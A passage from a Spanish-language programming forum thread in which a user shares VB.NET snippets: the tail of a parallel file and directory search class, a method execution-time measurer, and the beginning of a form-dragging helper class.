  174.  
  175.        Else
  176.            ' Trim unwanted characters.
  177.            dirPath = dirPath.TrimStart({" "c}).TrimEnd({" "c})
  178.  
  179.            If Path.IsPathRooted(dirPath) Then
  180.                ' The root paths contained on the returned FileInfo objects will start with the same string-case as this root path.
  181.                ' So just for a little visual improvement, I'll treat this root path as a Drive-Letter and I convert it to UpperCase.
  182.                dirPath = Char.ToUpper(dirPath.First) & dirPath.Substring(1)
  183.            End If
  184.  
  185.            If Not dirPath.EndsWith("\"c) Then
  186.                ' Possibly its a drive letter without backslash ('C:') or else just a normal path without backslash ('C\Dir').
  187.                ' In any case, fix the ending backslash.
  188.                dirPath = dirPath.Insert(dirPath.Length, "\"c)
  189.            End If
  190.  
  191.        End If
  192.  
  193.    End Sub
  194.  
  195.    ''' <summary>
  196.    ''' Analyzes the specified directory values.
  197.    ''' </summary>
  198.    ''' <param name="dirPath">The root directory path to search for files.</param>
  199.    ''' <param name="searchOption">The searching mode.</param>
  200.    ''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
  201.    Private Shared Sub AnalyzeArgs(ByVal dirPath As String, ByVal searchOption As SearchOption)
  202.  
  203.        If Not Directory.Exists(dirPath) Then
  204.            Throw New ArgumentException(String.Format("Directory doesn't exists: '{0}'", dirPath), "dirPath")
  205.  
  206.        ElseIf (searchOption <> searchOption.TopDirectoryOnly) AndAlso (searchOption <> searchOption.AllDirectories) Then
  207.            Throw New ArgumentException(String.Format("Value of '{0}' is not valid enumeration value.", CStr(searchOption)), "searchOption")
  208.  
  209.        End If
  210.  
  211.    End Sub
  212.  
  213.    ''' <summary>
  214.    ''' Tries to instance the byreferred <see cref="DirectoryInfo"/> object using the given directory path.
  215.    ''' </summary>
  216.    ''' <param name="dirPath">The directory path used to instance the byreffered <see cref="DirectoryInfo"/> object.</param>
  217.    ''' <param name="dirInfo">The byreffered <see cref="DirectoryInfo"/> object to instance it using the given directory path.</param>
  218.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
  219.    Private Shared Sub SetupDirInfoObject(ByVal dirPath As String,
  220.                                          ByRef dirInfo As DirectoryInfo,
  221.                                          ByVal throwOnError As Boolean)
  222.  
  223.        Try
  224.            dirInfo = New DirectoryInfo(dirPath)
  225.  
  226.        Catch ex As Exception
  227.  
  228.            Select Case ex.GetType ' Handle or suppress exceptions by its type,
  229.  
  230.                ' I've wrote different types just to feel free to expand this feature in the future.
  231.                Case GetType(ArgumentNullException),
  232.                     GetType(ArgumentException),
  233.                     GetType(Security.SecurityException),
  234.                     GetType(PathTooLongException),
  235.                     ex.GetType
  236.  
  237.                    If throwOnError Then
  238.                        Throw
  239.                    End If
  240.  
  241.            End Select
  242.  
  243.        End Try
  244.  
  245.    End Sub
  246.  
  247.    ''' <summary>
  248.    ''' Tries to instance the byreferred <paramref name="col"/> object using the given directory path.
  249.    ''' </summary>
  250.    ''' <typeparam name="A">The type of the <paramref name="col"/> object used to cast and fill the byreffered collection.</typeparam>
  251.    ''' <param name="objectAction">The method to invoke, only for <see cref="FileInfo"/> or <see cref="DirectoryInfo"/> objects, this parameter can be <c>Nothing</c>.</param>
  252.    ''' <param name="sharedAction">The method to invoke, only for filepaths or directorypaths, this parameter can be <c>Nothing</c>.</param>
  253.    ''' <param name="dirPath">The directory path used to instance the byreffered <paramref name="col"/> object.</param>
  254.    ''' <param name="searchPattern">The search pattern to list files or directories.</param>
  255.    ''' <param name="col">The byreffered <see cref="IEnumerable(Of A)"/> object to instance it using the given directory path.</param>
  256.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
  257.    Private Shared Sub SetupFileDirCollection(Of A)(ByVal objectAction As Func(Of String,
  258.                                                                               SearchOption,
  259.                                                                               IEnumerable(Of A)),
  260.                                                    ByVal sharedAction As Func(Of String,
  261.                                                                             String,
  262.                                                                             SearchOption,
  263.                                                                             IEnumerable(Of A)),
  264.                                                    ByVal dirPath As String,
  265.                                                    ByVal searchPattern As String,
  266.                                                    ByRef col As IEnumerable(Of A),
  267.                                                    ByVal throwOnError As Boolean)
  268.  
  269.        Try
  270.            If objectAction IsNot Nothing Then
  271.                col = objectAction.Invoke(searchPattern, SearchOption.TopDirectoryOnly)
  272.  
  273.            ElseIf sharedAction IsNot Nothing Then
  274.                col = sharedAction.Invoke(dirPath, searchPattern, SearchOption.TopDirectoryOnly)
  275.  
  276.            Else
  277.                Throw New ArgumentException("Any Action has been defined.")
  278.  
  279.            End If
  280.  
  281.        Catch ex As Exception
  282.  
  283.            Select Case ex.GetType ' Handle or suppress exceptions by its type,
  284.  
  285.                ' I've wrote different types just to feel free to expand this feature in the future.
  286.                Case GetType(UnauthorizedAccessException),
  287.                     GetType(DirectoryNotFoundException),
  288.                     ex.GetType
  289.  
  290.                    If throwOnError Then
  291.                        Throw
  292.                    End If
  293.  
  294.            End Select
  295.  
  296.        End Try
  297.  
  298.    End Sub
  299.  
  300.    ''' <summary>
  301.    ''' Determines whether at least one of the specified patterns matches the given value.
  302.    ''' </summary>
  303.    ''' <param name="value">The value, which can be a filename, file extension, direcrory path, or directory name.</param>
  304.    ''' <param name="patterns">The patterns to match the given value.</param>
  305.    ''' <param name="ignoreCase">if set to <c>true</c>, compares ignoring string-case rules.</param>
  306.    ''' <returns><c>true</c> at least one of the specified patterns matches the given value; <c>false</c> otherwise.</returns>
  307.    Private Shared Function IsMatchPattern(ByVal value As String,
  308.                                           ByVal patterns As IEnumerable(Of String),
  309.                                           ByVal ignoreCase As Boolean) As Boolean
  310.  
  311.        ' Iterate the filename pattern(s) to match each name pattern on the current name.
  312.        For Each pattern As String In patterns
  313.  
  314.            ' Supress consecuent conditionals if pattern its an asterisk.
  315.            If pattern.Equals("*", StringComparison.OrdinalIgnoreCase) Then
  316.                Return True
  317.  
  318.            ElseIf ignoreCase Then ' Compare name ignoring string-case rules.
  319.                If value.ToLower Like pattern.ToLower Then
  320.                    Return True
  321.                End If
  322.  
  323.            Else ' Compare filename unignoring string-case rules.
  324.                If value Like pattern Then
  325.                    Return True
  326.                End If
  327.  
  328.            End If ' ignoreCase
  329.  
  330.        Next pattern
  331.  
  332.        Return False
  333.  
  334.    End Function
  335.  
  336.    ''' <summary>
  337.    ''' Runs the next collector tasks synchronouslly.
  338.    ''' </summary>
  339.    ''' <typeparam name="T"></typeparam>
  340.    ''' <param name="action">The collector method to invoke.</param>
  341.    ''' <param name="queue">The <see cref="ConcurrentQueue(Of FileInfo)"/> instance.</param>
  342.    ''' <param name="dirPath">The directory path.</param>
  343.    ''' <param name="firstPatterns">The first comparison patterns.</param>
  344.    ''' <param name="secondPatterns">The second comparison patterns.</param>
  345.    ''' <param name="ignoreCase">if set to <c>true</c>, compares ignoring string-case rules.</param>
  346.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
  347.    Private Shared Sub RunNextTasks(Of T)(ByVal action As Action(Of ConcurrentQueue(Of T),
  348.                                                                 String,
  349.                                                                 SearchOption,
  350.                                                                 IEnumerable(Of String),
  351.                                                                 IEnumerable(Of String),
  352.                                                                 Boolean,
  353.                                                                 Boolean),
  354.                                          ByVal queue As ConcurrentQueue(Of T),
  355.                                          ByVal dirPath As String,
  356.                                          ByVal firstPatterns As IEnumerable(Of String),
  357.                                          ByVal secondPatterns As IEnumerable(Of String),
  358.                                          ByVal ignoreCase As Boolean,
  359.                                          ByVal throwOnError As Boolean)
  360.  
  361.        Try
  362.            Task.WaitAll(New DirectoryInfo(dirPath).
  363.                             GetDirectories.
  364.                             Select(Function(dir As DirectoryInfo)
  365.                                        Return Task.Factory.StartNew(Sub()
  366.                                                                         action.Invoke(queue,
  367.                                                                                       dir.FullName, SearchOption.AllDirectories,
  368.                                                                                       firstPatterns, secondPatterns,
  369.                                                                                       ignoreCase, throwOnError)
  370.                                                                     End Sub)
  371.                                    End Function).ToArray)
  372.  
  373.        Catch ex As Exception
  374.  
  375.            Select Case ex.GetType ' Handle or suppress exceptions by its type,
  376.  
  377.                ' I've wrote different types just to feel free to expand this feature in the future.
  378.                Case GetType(UnauthorizedAccessException),
  379.                     GetType(DirectoryNotFoundException),
  380.                     ex.GetType
  381.  
  382.                    If throwOnError Then
  383.                        Throw
  384.                    End If
  385.  
  386.            End Select
  387.  
  388.        End Try
  389.  
  390.    End Sub
  391.  
  392.    ''' <summary>
  393.    ''' Collects the files those matches the criteria inside the specified directory and/or sub-directories.
  394.    ''' </summary>
  395.    ''' <param name="queue">The <see cref="ConcurrentQueue(Of FileInfo)"/> instance to enqueue new files.</param>
  396.    ''' <param name="dirPath">The root directory path to search for files.</param>
  397.    ''' <param name="searchOption">The searching mode.</param>
  398.    ''' <param name="fileNamePatterns">The file name pattern(s) to match.</param>
  399.    ''' <param name="fileExtPatterns">The file extension pattern(s) to match.</param>
  400.    ''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="fileNamePatterns"/> and <paramref name="fileExtPatterns"/> patterns.</param>
  401.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
  402.    Private Shared Sub CollectFiles(ByVal queue As ConcurrentQueue(Of FileInfo),
  403.                                    ByVal dirPath As String,
  404.                                    ByVal searchOption As SearchOption,
  405.                                    ByVal fileNamePatterns As IEnumerable(Of String),
  406.                                    ByVal fileExtPatterns As IEnumerable(Of String),
  407.                                    ByVal ignoreCase As Boolean,
  408.                                    ByVal throwOnError As Boolean)
  409.  
  410.        ' Initialize a FileInfo collection.
  411.        Dim fileInfoCol As IEnumerable(Of FileInfo) = Nothing
  412.  
  413.        ' Initialize a DirectoryInfo.
  414.        Dim dirInfo As DirectoryInfo = Nothing
  415.        SetupDirInfoObject(dirPath, dirInfo, throwOnError)
  416.  
  417.        If fileExtPatterns IsNot Nothing Then
  418.            ' Decrease time execution by searching for files that has extension.
  419.            SetupFileDirCollection(Of FileInfo)(AddressOf dirInfo.GetFiles, Nothing,
  420.                                                dirInfo.FullName, "*.*", fileInfoCol, throwOnError)
  421.        Else
  422.            ' Search for all files.
  423.            SetupFileDirCollection(Of FileInfo)(AddressOf dirInfo.GetFiles, Nothing,
  424.                                                dirInfo.FullName, "*", fileInfoCol, throwOnError)
  425.        End If
  426.  
  427.        ' If the fileInfoCol collection is not empty then...
  428.        If fileInfoCol IsNot Nothing Then
  429.  
  430.            ' Iterate the files.
  431.            For Each fInfo As FileInfo In fileInfoCol
  432.  
  433.                ' Flag to determine whether a filename pattern is matched. Activated by default.
  434.                Dim flagNamePattern As Boolean = True
  435.  
  436.                ' Flag to determine whether a file extension pattern is matched. Activated by default.
  437.                Dim flagExtPattern As Boolean = True
  438.  
  439.                ' If filename patterns collection is not empty then...
  440.                If fileNamePatterns IsNot Nothing Then
  441.                    flagNamePattern = IsMatchPattern(fInfo.Name, fileNamePatterns, ignoreCase)
  442.                End If
  443.  
  444.                ' If file extension patterns collection is not empty then...
  445.                If fileExtPatterns IsNot Nothing Then
  446.                    flagExtPattern = IsMatchPattern(fInfo.Extension, fileExtPatterns, ignoreCase)
  447.                End If
  448.  
  449.                ' If fileName and also fileExtension patterns are matched then...
  450.                If flagNamePattern AndAlso flagExtPattern Then
  451.                    queue.Enqueue(fInfo) ' Enqueue this FileInfo object.
  452.                End If
  453.  
  454.            Next fInfo
  455.  
  456.        End If ' fileInfoCol IsNot Nothing
  457.  
  458.        ' If searchOption is recursive then...
  459.        If searchOption = searchOption.AllDirectories Then
  460.            RunNextTasks(Of FileInfo)(AddressOf CollectFiles,
  461.                                      queue, dirInfo.FullName, fileNamePatterns, fileExtPatterns, ignoreCase, throwOnError)
  462.        End If
  463.  
  464.    End Sub
  465.  
  466.    ''' <summary>
  467.    ''' Collects the filepaths those matches the criteria inside the specified directory and/or sub-directories.
  468.    ''' </summary>
  469.    ''' <param name="queue">The <see cref="ConcurrentQueue(Of String)"/> instance to enqueue new filepaths.</param>
  470.    ''' <param name="dirPath">The root directory path to search for files.</param>
  471.    ''' <param name="searchOption">The searching mode.</param>
  472.    ''' <param name="fileNamePatterns">The file name pattern(s) to match.</param>
  473.    ''' <param name="fileExtPatterns">The file extension pattern(s) to match.</param>
  474.    ''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="fileNamePatterns"/> and <paramref name="fileExtPatterns"/> patterns.</param>
  475.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
  476.    Private Shared Sub CollectFilePaths(ByVal queue As ConcurrentQueue(Of String),
  477.                                        ByVal dirPath As String,
  478.                                        ByVal searchOption As SearchOption,
  479.                                        ByVal fileNamePatterns As IEnumerable(Of String),
  480.                                        ByVal fileExtPatterns As IEnumerable(Of String),
  481.                                        ByVal ignoreCase As Boolean,
  482.                                        ByVal throwOnError As Boolean)
  483.  
  484.        ' Initialize a filepath collection.
  485.        Dim filePathCol As IEnumerable(Of String) = Nothing
  486.  
  487.        If fileExtPatterns IsNot Nothing Then
  488.            ' Decrease time execution by searching for files that has extension.
  489.            SetupFileDirCollection(Of String)(Nothing, AddressOf Directory.GetFiles,
  490.                                              dirPath, "*.*", filePathCol, throwOnError)
  491.        Else
  492.            ' Search for all files.
  493.            SetupFileDirCollection(Of String)(Nothing, AddressOf Directory.GetFiles,
  494.                                              dirPath, "*", filePathCol, throwOnError)
  495.        End If
  496.  
  497.        ' If the filepath collection is not empty then...
  498.        If filePathCol IsNot Nothing Then
  499.  
  500.            ' Iterate the filepaths.
  501.            For Each filePath As String In filePathCol
  502.  
  503.                ' Flag to determine whether a filename pattern is matched. Activated by default.
  504.                Dim flagNamePattern As Boolean = True
  505.  
  506.                ' Flag to determine whether a file extension pattern is matched. Activated by default.
  507.                Dim flagExtPattern As Boolean = True
  508.  
  509.                ' If filename patterns collection is not empty then...
  510.                If fileNamePatterns IsNot Nothing Then
  511.                    flagNamePattern = IsMatchPattern(Path.GetFileNameWithoutExtension(filePath), fileNamePatterns, ignoreCase)
  512.                End If
  513.  
  514.                ' If file extension patterns collection is not empty then...
  515.                If fileExtPatterns IsNot Nothing Then
  516.                    flagExtPattern = IsMatchPattern(Path.GetExtension(filePath), fileExtPatterns, ignoreCase)
  517.                End If
  518.  
  519.                ' If fileName and also fileExtension patterns are matched then...
  520.                If flagNamePattern AndAlso flagExtPattern Then
  521.                    queue.Enqueue(filePath) ' Enqueue this filepath.
  522.                End If
  523.  
  524.            Next filePath
  525.  
  526.        End If ' filePathCol IsNot Nothing
  527.  
  528.        ' If searchOption is recursive then...
  529.        If searchOption = searchOption.AllDirectories Then
  530.            RunNextTasks(Of String)(AddressOf CollectFilePaths,
  531.                                    queue, dirPath, fileNamePatterns, fileExtPatterns, ignoreCase, throwOnError)
  532.        End If
  533.  
  534.    End Sub
  535.  
  536.    ''' <summary>
  537.    ''' Collects the directories those matches the criteria inside the specified directory and/or sub-directories.
  538.    ''' </summary>
  539.    ''' <param name="queue">The <see cref="ConcurrentQueue(Of DirectoryInfo)"/> instance to enqueue new directories.</param>
  540.    ''' <param name="dirPath">The root directory path to search for directories.</param>
  541.    ''' <param name="searchOption">The searching mode.</param>
  542.    ''' <param name="dirPathPatterns">The directory path pattern(s) to match.</param>
  543.    ''' <param name="dirNamePatterns">The directory name pattern(s) to match.</param>
  544.    ''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="dirPathPatterns"/> and <paramref name="dirNamePatterns"/> patterns.</param>
  545.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
  546.    Private Shared Sub CollectDirs(ByVal queue As ConcurrentQueue(Of DirectoryInfo),
  547.                                   ByVal dirPath As String,
  548.                                   ByVal searchOption As SearchOption,
  549.                                   ByVal dirPathPatterns As IEnumerable(Of String),
  550.                                   ByVal dirNamePatterns As IEnumerable(Of String),
  551.                                   ByVal ignoreCase As Boolean,
  552.                                   ByVal throwOnError As Boolean)
  553.  
  554.        ' Initialize a DirectoryInfo collection.
  555.        Dim dirInfoCol As IEnumerable(Of DirectoryInfo) = Nothing
  556.  
  557.        ' Initialize a DirectoryInfo.
  558.        Dim dirInfo As DirectoryInfo = Nothing
  559.        SetupDirInfoObject(dirPath, dirInfo, throwOnError)
  560.  
  561.        ' Get the top directories of the current directory.
  562.        SetupFileDirCollection(Of DirectoryInfo)(AddressOf dirInfo.GetDirectories, Nothing,
  563.                                                 dirInfo.FullName, "*", dirInfoCol, throwOnError)
  564.  
  565.        ' If the fileInfoCol collection is not empty then...
  566.        If dirInfoCol IsNot Nothing Then
  567.  
  568.            ' Iterate the files.
  569.            For Each dir As DirectoryInfo In dirInfoCol
  570.  
  571.                ' Flag to determine whether a directory path pattern is matched. Activated by default.
  572.                Dim flagPathPattern As Boolean = True
  573.  
  574.                ' Flag to determine whether a directory name pattern is matched. Activated by default.
  575.                Dim flagNamePattern As Boolean = True
  576.  
  577.                ' If directory path patterns collection is not empty then...
  578.                If dirPathPatterns IsNot Nothing Then
  579.                    flagPathPattern = IsMatchPattern(dir.FullName, dirPathPatterns, ignoreCase)
  580.                End If
  581.  
  582.                ' If directory name patterns collection is not empty then...
  583.                If dirNamePatterns IsNot Nothing Then
  584.                    flagNamePattern = IsMatchPattern(dir.Name, dirNamePatterns, ignoreCase)
  585.                End If
  586.  
  587.                ' If directory path and also directory name patterns are matched then...
  588.                If flagPathPattern AndAlso flagNamePattern Then
  589.                    queue.Enqueue(dir) ' Enqueue this DirectoryInfo object.
  590.                End If
  591.  
  592.            Next dir
  593.  
  594.        End If ' dirInfoCol IsNot Nothing
  595.  
  596.        ' If searchOption is recursive then...
  597.        If searchOption = searchOption.AllDirectories Then
  598.            RunNextTasks(Of DirectoryInfo)(AddressOf CollectDirs,
  599.                                           queue, dirPath, dirPathPatterns, dirNamePatterns, ignoreCase, throwOnError)
  600.        End If
  601.  
  602.    End Sub
  603.  
  604.    ''' <summary>
  605.    ''' Collects the directory paths those matches the criteria inside the specified directory and/or sub-directories.
  606.    ''' </summary>
  607.    ''' <param name="queue">The <see cref="ConcurrentQueue(Of String)"/> instance to enqueue new directory paths.</param>
  608.    ''' <param name="dirPath">The root directory path to search for directories.</param>
  609.    ''' <param name="searchOption">The searching mode.</param>
  610.    ''' <param name="dirPathPatterns">The directory path pattern(s) to match.</param>
  611.    ''' <param name="dirNamePatterns">The directory name pattern(s) to match.</param>
  612.    ''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="dirPathPatterns"/> and <paramref name="dirNamePatterns"/> patterns.</param>
  613.    ''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
  614.    Private Shared Sub CollectDirPaths(ByVal queue As ConcurrentQueue(Of String),
  615.                                       ByVal dirPath As String,
  616.                                       ByVal searchOption As SearchOption,
  617.                                       ByVal dirPathPatterns As IEnumerable(Of String),
  618.                                       ByVal dirNamePatterns As IEnumerable(Of String),
  619.                                       ByVal ignoreCase As Boolean,
  620.                                       ByVal throwOnError As Boolean)
  621.  
  622.        ' Initialize a directory paths collection.
  623.        Dim dirPathCol As IEnumerable(Of String) = Nothing
  624.  
  625.        ' Get the top directory paths of the current directory.
  626.        SetupFileDirCollection(Of String)(Nothing, AddressOf Directory.GetDirectories,
  627.                                          dirPath, "*", dirPathCol, throwOnError)
  628.  
  629.        ' If the fileInfoCol collection is not empty then...
  630.        If dirPathCol IsNot Nothing Then
  631.  
  632.            ' Iterate the files.
  633.            For Each dir As String In dirPathCol
  634.  
  635.                ' Flag to determine whether a directory path pattern is matched. Activated by default.
  636.                Dim flagPathPattern As Boolean = True
  637.  
  638.                ' Flag to determine whether a directory name pattern is matched. Activated by default.
  639.                Dim flagNamePattern As Boolean = True
  640.  
  641.                ' If directory path patterns collection is not empty then...
  642.                If dirPathPatterns IsNot Nothing Then
  643.                    flagPathPattern = IsMatchPattern(dir, dirPathPatterns, ignoreCase)
  644.                End If
  645.  
  646.                ' If directory name patterns collection is not empty then...
  647.                If dirNamePatterns IsNot Nothing Then
  648.                    flagNamePattern = IsMatchPattern(Path.GetFileName(dir), dirNamePatterns, ignoreCase)
  649.                End If
  650.  
  651.                ' If directory path and also directory name patterns are matched then...
  652.                If flagPathPattern AndAlso flagNamePattern Then
  653.                    queue.Enqueue(dir) ' Enqueue this directory path.
  654.                End If
  655.  
  656.            Next dir
  657.  
  658.        End If ' dirPathCol IsNot Nothing
  659.  
  660.        ' If searchOption is recursive then...
  661.        If searchOption = searchOption.AllDirectories Then
  662.            RunNextTasks(Of String)(AddressOf CollectDirPaths,
  663.                                    queue, dirPath, dirPathPatterns, dirNamePatterns, ignoreCase, throwOnError)
  664.        End If
  665.  
  666.    End Sub
  667.  
  668. #End Region
  669.  
  670. End Class
  671.  
  672. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 16 Febrero 2015, 13:48 pm
Una manera sencilla de medír el tiempo de ejecución de un método, útil para llevar a cabo análisis/comparaciones.

( Los resultados se puedne mostrar en un messageBox o en la consola de depuración, usando el parámetro opcional. )

Modo de empleo:
Código
  1.    MeasureAction(Sub()
  2.                      For x As Integer = 0 To 5000
  3.                          Debug.WriteLine(x)
  4.                      Next
  5.                  End Sub)

O bien:
Código
  1.    MeasureAction(AddressOf Test)
  2.  
  3.    Private Function Test() As Boolean
  4.        ' Esto provocará un error:
  5.        Return CTypeDynamic(Of Boolean)("")
  6.    End Function

Source:
Código
  1.    ''' <remarks>
  2.    ''' *****************************************************************
  3.    ''' Snippet Title: Measure Code Execution Time
  4.    ''' Code's Author: Elektro
  5.    ''' Date Modified: 16-February-2015
  6.    ''' Usage Example:
  7.    ''' MeasureAction(AddressOf MyMethodName, writeResultInConsole:=True)
  8.    '''
  9.    ''' MeasureAction(Sub()
  10.    '''                   ' My Method Lambda...
  11.    '''               End Sub)
  12.    ''' *****************************************************************
  13.    ''' </remarks>
  14.    ''' <summary>
  15.    ''' Measures the code execution time of a method.
  16.    ''' </summary>
  17.    ''' <param name="action">The action to be invoked.</param>
  18.    ''' <param name="writeResultInConsole">
  19.    ''' If set to <c>true</c>, print the results in console instead of displaying a <see cref="MessageBox"/>.
  20.    ''' </param>
  21.    Private Sub MeasureAction(ByVal action As Action,
  22.                              Optional ByVal writeResultInConsole As Boolean = False)
  23.  
  24.        ' Measures the elapsed time.
  25.        Dim timeWatch As New Stopwatch
  26.  
  27.        ' The time display format (Hours:Minutes:Secons:Milliseconds)
  28.        Dim timeFormat As String = "hh\:mm\:ss\:fff"
  29.  
  30.        ' Flag that determines whether the method invocation has succeed.
  31.        Dim success As Boolean = False
  32.  
  33.        ' Captures any exception caused by the invoked method.
  34.        Dim invokeEx As Exception = Nothing
  35.  
  36.        ' Retains and formats the information string.
  37.        Dim sb As New System.Text.StringBuilder
  38.  
  39.        ' Determines the MessageBox icon.
  40.        Dim msgIcon As MessageBoxIcon
  41.  
  42.        ' Determines the MessageBox buttons.
  43.        Dim msgButtons As MessageBoxButtons
  44.  
  45.        ' Determines the MessageBox result.
  46.        Dim msgResult As DialogResult
  47.  
  48.        ' Start to measure time.
  49.        timeWatch.Start()
  50.  
  51.        Try
  52.            ' Invoke the method.
  53.            action.Invoke()
  54.            success = True
  55.  
  56.        Catch ex As Exception
  57.            ' Capture the exception details.
  58.            invokeEx = ex
  59.            success = False
  60.  
  61.        Finally
  62.            ' Ensure to stop measuring time.
  63.            timeWatch.Stop()
  64.  
  65.        End Try
  66.  
  67.        Select Case success
  68.  
  69.            Case True
  70.                With sb ' Set an information message.
  71.                    .AppendLine(String.Format("Method Name: {0}", action.Method.Name))
  72.                    .AppendLine()
  73.                    .AppendLine(String.Format("Elapsed Time: {0}", timeWatch.Elapsed.ToString(timeFormat)))
  74.                End With
  75.  
  76.            Case Else
  77.                With sb ' Set an error message.
  78.                    .AppendLine("Exception occurred during code execution measuring.")
  79.                    .AppendLine()
  80.                    .AppendLine(String.Format("Method Name: {0}", action.Method.Name))
  81.                    .AppendLine()
  82.                    .AppendLine(String.Format("Exception Type: {0}", invokeEx.GetType.Name))
  83.                    .AppendLine()
  84.                    .AppendLine("Exception Message:")
  85.                    .AppendLine(invokeEx.Message)
  86.                    .AppendLine()
  87.                    .AppendLine("Exception Stack Trace:")
  88.                    .AppendLine(invokeEx.StackTrace)
  89.                End With
  90.  
  91.        End Select
  92.  
  93.        If writeResultInConsole Then ' Print results in console.
  94.            Debug.WriteLine(String.Join(Environment.NewLine,
  95.                                        sb.ToString.Split({Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)))
  96.  
  97.        Else
  98.            ' Show the MessageBox with the information string.
  99.            msgIcon = If(success, MessageBoxIcon.Information, MessageBoxIcon.Error)
  100.            msgButtons = If(success, MessageBoxButtons.OK, MessageBoxButtons.RetryCancel)
  101.            msgResult = MessageBox.Show(sb.ToString, "Code Execution Measurer", msgButtons, msgIcon)
  102.  
  103.            ' If invoked method has failed, retry or cancel.
  104.            If Not success AndAlso (msgResult = DialogResult.Retry) Then
  105.                MeasureAction(action, writeResultInConsole)
  106.            End If
  107.  
  108.        End If
  109.  
  110.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 15 Marzo 2015, 02:23 am
He desarrollado este snippet para administrar las capacidades de arrastrar (dragging) en tiempo de ejecución, de uno o varios Forms, extendiendo el control y la eficiencia de los típicos códigos "copy&paste" que se pueden encontrar por internet para llevar a cabo dicha tarea.

Ejemplos de uso:
Código
  1. Public Class Form1
  2.  
  3.    ''' <summary>
  4.    ''' The <see cref="FormDragger"/> instance that manages the form(s) dragging.
  5.    ''' </summary>
  6.    Private formDragger As FormDragger = FormDragger.Empty
  7.  
  8.    Private Sub Test() Handles MyBase.Shown
  9.        Me.InitializeDrag()
  10.    End Sub
  11.  
  12.    Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs) _
  13.    Handles Button1.Click
  14.  
  15.        Me.AlternateDragEnabled(Me)
  16.  
  17.    End Sub
  18.  
  19.    Private Sub InitializeDrag()
  20.  
  21.        ' 1st way, using the single-Form constructor:
  22.        Me.formDragger = New FormDragger(Me, enabled:=True, cursor:=Cursors.SizeAll)
  23.  
  24.        ' 2nd way, using the multiple-Forms constructor:
  25.        ' Me.formDragger = New FormDragger({Me, Form2, form3})
  26.  
  27.        ' 3rd way, using the default constructor then adding a Form into the collection:
  28.        ' Me.formDragger = New FormDragger
  29.        ' Me.formDragger.AddForm(Me, enabled:=True, cursor:=Cursors.SizeAll)
  30.  
  31.    End Sub
  32.  
  33.    ''' <summary>
  34.    ''' Alternates the dragging of the specified form.
  35.    ''' </summary>
  36.    ''' <param name="form">The form.</param>
  37.    Private Sub AlternateDragEnabled(ByVal form As Form)
  38.  
  39.        Dim formInfo As FormDragger.FormDragInfo = Me.formDragger.FindFormDragInfo(form)
  40.        formInfo.Enabled = Not formInfo.Enabled
  41.  
  42.    End Sub
  43.  
  44. End Class

Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 15-March-2015
  4. ' ***********************************************************************
  5. ' <copyright file="FormDragger.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Option Statements "
  11.  
  12. Option Explicit On
  13. Option Strict On
  14. Option Infer Off
  15.  
  16. #End Region
  17.  
  18. #Region " Usage Examples "
  19.  
  20. 'Public Class Form1
  21.  
  22. '    ''' <summary>
  23. '    ''' The <see cref="FormDragger"/> instance that manages the form(s) dragging.
  24. '    ''' </summary>
  25. '    Private formDragger As FormDragger = FormDragger.Empty
  26.  
  27. '    Private Sub Test() Handles MyBase.Shown
  28. '        Me.InitializeDrag()
  29. '    End Sub
  30.  
  31. '    Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs) _
  32. '    Handles Button1.Click
  33.  
  34. '        Me.AlternateDragEnabled(Me)
  35.  
  36. '    End Sub
  37.  
  38. '    Private Sub InitializeDrag()
  39.  
  40. '        ' 1st way, using the single-Form constructor:
  41. '        Me.formDragger = New FormDragger(Me, enabled:=True, cursor:=Cursors.SizeAll)
  42.  
  43. '        ' 2nd way, using the multiple-Forms constructor:
  44. '        ' Me.formDragger = New FormDragger({Me, Form2, form3})
  45.  
  46. '        ' 3rd way, using the default constructor then adding a Form into the collection:
  47. '        ' Me.formDragger = New FormDragger
  48. '        ' Me.formDragger.AddForm(Me, enabled:=True, cursor:=Cursors.SizeAll)
  49.  
  50. '    End Sub
  51.  
  52. '    ''' <summary>
  53. '    ''' Alternates the dragging of the specified form.
  54. '    ''' </summary>
  55. '    ''' <param name="form">The form.</param>
  56. '    Private Sub AlternateDragEnabled(ByVal form As Form)
  57.  
  58. '        Dim formInfo As FormDragger.FormDragInfo = Me.formDragger.FindFormDragInfo(form)
  59. '        formInfo.Enabled = Not formInfo.Enabled
  60.  
  61. '    End Sub
  62.  
  63. 'End Class
  64.  
  65. #End Region
  66.  
  67. #Region " Imports "
  68.  
  69. Imports System.ComponentModel
  70.  
  71. #End Region
  72.  
  73. #Region " Form Dragger "
  74.  
  75. ''' <summary>
  76. ''' Enable or disable drag at runtime on a <see cref="Form"/>.
  77. ''' </summary>
  78. Public NotInheritable Class FormDragger : Implements IDisposable
  79.  
  80. #Region " Properties "
  81.  
  82.    ''' <summary>
  83.    ''' Gets an <see cref="IEnumerable(Of Form)"/> collection that contains the Forms capables to perform draggable operations.
  84.    ''' </summary>
  85.    ''' <value>The <see cref="IEnumerable(Of Form)"/>.</value>
  86.    <EditorBrowsable(EditorBrowsableState.Always)>
  87.    Public ReadOnly Property Forms As IEnumerable(Of FormDragInfo)
  88.        Get
  89.            Return Me.forms1
